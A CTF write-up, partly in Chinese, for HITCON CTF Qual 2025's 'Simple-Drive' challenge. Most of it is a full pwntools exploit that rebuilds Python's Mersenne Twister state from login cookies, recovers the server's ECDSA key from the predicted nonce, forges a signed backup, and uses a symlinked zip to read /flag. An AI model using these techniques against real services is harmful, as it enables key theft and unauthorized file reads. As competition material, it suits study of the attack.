HITCON CTF QUAL 2025 Writeup

Before all

Rank 29/ 台灣第四名
時隔一年,這次可以跟大家一起去 HITCON 決賽見識啦 XD(今年只有台灣網內互打)
但還是超快樂,大家表現超棒 :fire:,期待和享受決賽叭~
喵,這次在剩下 24 hr 才從 YTP 回來打,有點懶的寫 writeup + 好多題目是大家一起解的/我只負責算數學,就只寫一題明明應該好多人一起看我卻自己盯著看的 Crypto TwT,其他之後補w
賽後兩分鐘 upsolve 可以給我半分ㄇ(x)

Simple-Drive

想載下來看有多混亂的朋友可以看:https://github.com/William957-web/Daily/blob/main/simple-drive-3f1b2eb11edc79fcfd977cd2599d8f6d150d1d7d.tar.gz
簡言之,就是一個極簡化的 cloud drive,甚至是自己寫半套 http handlers 和 session 管理,然後還自定義一種檔案結構做備份和還原資料的驗證,本質上還是一般的 zip 檔案?!
另一點比較特別的事情是,Cookie 和 ECDSA sign nonce 都是由 python random 庫生成,又因為它 http server 是一次啟動的特性(都在同一塊 thread process 跑),所以可以利用一直申請 Cookie 做 PRNG 預測(MT19937 Crack)

值得一提的事情是,因為 Handler 寫爛了所以我還得用 pwntools 發底層 HTTP

還有還有,原版的題目可以 LFI 所以出現 REVENGE
後面就是,利用 nonce 回推 secret key,簽一塊檔案回去,然後 symlink 指向 /flag 再重新備份一次就有 flag ㄌ
附上快 300 行的 solve script 給大家笑笑w
然後這次不小心大家只有我看和會打這個,自己 debug 真的痛苦 T_T

要先

1
2
ln -s /flag whale
zip --symlinks evil.zip whale

然後後面記得 unzip win.zip XDD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
from pwn import *
import random
import base64
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from fastecdsa import ecdsa, keys
from typing import Union
import struct
import binascii
from Crypto.Util.number import bytes_to_long as b2l
from Crypto.Util.number import long_to_bytes as l2b
import hashlib

host = 'simple-drive-revenge.chal.hitconctf.com'
port = 54071
state=[]

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def extract_pubkey(compressed_key: Union[str, bytes]) -> Point:
"""
Parse a compressed public key (hex string like '0x02...','02...', '03...') and
return a fastecdsa.point.Point on curve secp256k1.

Raises ValueError on invalid format or if x doesn't lie on the curve.
"""
# normalize input to hex string without 0x
if isinstance(compressed_key, bytes):
compressed_key = compressed_key.hex()
if compressed_key.startswith('0x') or compressed_key.startswith('0X'):
compressed_key = compressed_key[2:]
compressed_key = compressed_key.lower()

# must have prefix 02 or 03
if len(compressed_key) < 2:
raise ValueError("compressed key too short")
#print(f"length: {len(compressed_key)}")
prefix = compressed_key[:2]
print(prefix, compressed_key)
if prefix not in ('02', '03'):
raise ValueError("compressed key must start with 02 or 03")

x_hex = compressed_key[2:]
if x_hex == '':
raise ValueError("no x coordinate found")
x = int(x_hex, 16)

curve = secp256k1
p = curve.p
a = curve.a
b = curve.b

# rhs = x^3 + a*x + b (mod p)
rhs = (pow(x, 3, p) + (a * x) + b) % p

# since secp256k1 p % 4 == 3, sqrt(rhs) mod p = rhs^((p+1)//4) mod p
y = pow(rhs, (p + 1) // 4, p)

# verify square
if (y * y) % p != rhs:
# should not happen for valid x on the curve
raise ValueError("x does not correspond to a curve point (no sqrt)")

want_odd = (prefix == '03')
# if parity mismatches, take the negative root p - y
if (y & 1) != (1 if want_odd else 0):
y = (-y) % p

# construct and return fastecdsa Point
return Point(x, y, curve)

SIGNATURE = 0xa075c93f
HEADER = struct.Struct('<I16sd16sI')
FOOTER = struct.Struct('<32s32s')

def untemper(rand):
rand ^= rand >> 18
rand ^= (rand << 15) & 0xefc60000
a = rand ^ ((rand << 7) & 0x9d2c5680)
b = rand ^ ((a << 7) & 0x9d2c5680)
c = rand ^ ((b << 7) & 0x9d2c5680)
d = rand ^ ((c << 7) & 0x9d2c5680)
rand = rand ^ ((d << 7) & 0x9d2c5680)
rand ^= ((rand ^ (rand >> 11)) >> 11)
return rand

def register():
r = remote(host, port)
payload_head = """POST /register HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

""".replace('\n', '\r\n').encode()

payload_data = b'username=whale120&password=whale120'
payload = payload_head + payload_data
r.sendline(payload)
#print(payload)
info("Account registered")
response = r.recv().decode()
r.close()
print(response)


def login():
r = remote(host, port)
payload_head = """POST /login HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

""".replace('\n', '\r\n').encode()

payload_data = b'username=whale120&password=whale120'
payload = payload_head + payload_data
r.sendline(payload)
response = r.recv().decode()
cur_cookie = response.split('\r\n')[3].split('hitconctf=')[1][:-1]
info(f"Logged in: Cookie={cur_cookie}")
print(response.encode())
r.close()
return base64.b64decode(cur_cookie+'===')

def logout(temp_cookie):
r = remote(host, port)
payload_head = """POST /logout HTTP/1.1
Cookie: hitconctf=WHALECOOKIE;
""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').encode()
payload = payload_head
r.sendline(payload)
print(payload)
response = r.recv().decode()
r.close()
print(response.encode())

def upload(temp_cookie):
r = remote(host, port)
payload_head = """POST /upload?path=pwned.txt HTTP/1.1
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: hitconctf=WHALECOOKIE;

""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').encode()

payload_data = b'whale120;'
payload = payload_head + payload_data
r.sendline(payload)
response = r.recvall().decode()
r.close()
print(response.encode())

def backup(temp_cookie):
r = remote(host, port)
payload_head = """GET /backup HTTP/1.1
Cookie: hitconctf=WHALECOOKIE;
""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').encode()
payload = payload_head
r.sendline(payload)
print(payload)
response = r.recvall()
r.close()
print(response)
return response.split(b'\r\n\r\n')[1]

def bytes_to_state(data):
info(f"Length of cookie: {len(data)}")
for i in range(0, len(data), 4):
state.append(untemper(int.from_bytes(data[i:i+4][::-1])))


def get_pkey(temp_cookie):
r = remote(host, port)
payload_head = """GET /pubkey HTTP/1.1
Cookie: hitconctf=WHALECOOKIE;
""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').encode()
payload = payload_head
r.sendline(payload)
print(payload)
response = r.recvall()
r.close()
print(response)
return response.split(b'\r\n\r\n')[1]

def get_hash(temp_cookie, data):
r = remote(host, port)
payload_head = """GET /hash HTTP/1.1
Content-Length: WHALELENGTH
Content-Type: application/x-www-form-urlencoded
Cookie: hitconctf=WHALECOOKIE;

""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').replace('WHALELENGTH', str(len(data))).encode()

payload_data = data
payload = payload_head + payload_data
r.sendline(payload)
print(payload)
response = r.recvall()
r.close()
print(response)
return int(response.decode().split('\r\n\r\n')[1])

def fetch_restore(temp_cookie, data):
r = remote(host, port)
payload_head = """POST /restore HTTP/1.1
Content-Length: WHALELENGTH
Cookie: hitconctf=WHALECOOKIE;

""".replace("WHALECOOKIE", base64.b64encode(temp_cookie).decode().rstrip('=')).replace('\n', '\r\n').replace('WHALELENGTH', str(len(data))).encode()

payload_data = data
payload = payload_head + payload_data
r.sendline(payload)
print(payload)
response = r.recvall()
r.close()
print(response)
# return int(response.decode().split('\r\n\r\n')[1])

register()

for i in range((624+7)//8):
cur_cookie = login()
bytes_to_state(cur_cookie)
logout(cur_cookie)

state = state[-624:]
state.append(624)

random.setstate([3, tuple(state), None])

info(f"Guess: {base64.b64encode(random.randbytes(32))}")
use_cookie = login()
upload(use_cookie)
pkey = get_pkey(use_cookie).decode()
print(pkey)
pubkey = extract_pubkey(pkey)
print(pubkey)
backup_example = backup(use_cookie)
print(backup_example)
random.setstate([3, tuple(state), None])
random.randbytes(32)
leaked_nonce = random.randint(1, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141-1)
info(f"Leaked nonce: {hex(leaked_nonce)}")

example_signature, example_id, example_ts, example_user_id, example_crc = HEADER.unpack(backup_example[:HEADER.size])
example_hash = get_hash(use_cookie, backup_example)
# example_hash = l2b(example_hash)

example_r, example_s = FOOTER.unpack(backup_example[-FOOTER.size:])
example_r = b2l(example_r)
example_s = b2l(example_s)


G = secp256k1.G

info(hex(example_r))
info(leaked_nonce * G)
info(G)

secret_key = (((example_s*leaked_nonce)-(example_hash & ((1 << 256) - 1))) * pow(example_r, -1, N))%N

# 計算 Q = d * G
computed_key = secret_key * G

print(f"[*] secret_key: {hex(secret_key)}")

info(computed_key)

# new_r, new_s = ecdsa.sign(l2b(example_hash), secret_key, curve=secp256k1)

def sign_msg(z):
global G, secret_key
k = 1337
R = k * G
r = R.x % N
s = (pow(k, -1, N) * (z + r * secret_key)) % N
return r, s

new_r, new_s = sign_msg(example_hash)

# print(ecdsa.verify((example_r, example_s), l2b(example_hash), pubkey, curve=secp256k1))

fetch_restore(use_cookie, backup_example[:-FOOTER.size]+FOOTER.pack(new_r.to_bytes(32), new_s.to_bytes(32)))

example_signature, example_id, example_ts, example_user_id, example_crc = HEADER.unpack(backup_example[:HEADER.size])

final_payload = open('evil.zip', 'rb').read()

new_crc = binascii.crc32(final_payload)

final_header = HEADER.pack(example_signature, example_id, example_ts, example_user_id, new_crc)
final_body = final_header+final_payload
final_payload = final_body+FOOTER.pack(new_r.to_bytes(32), new_s.to_bytes(32)) #FOOTER.pack(final_r.to_bytes(32), final_s.to_bytes(32))
final_r, final_s = sign_msg(get_hash(use_cookie, final_payload)& ((1 << 256) - 1))
final_payload = final_body+FOOTER.pack(final_r.to_bytes(32), final_s.to_bytes(32))
fetch_restore(use_cookie, final_payload)
final_data = backup(use_cookie)
f = open('win.zip', 'wb')
f.write(final_data)
f.close()
print(final_data)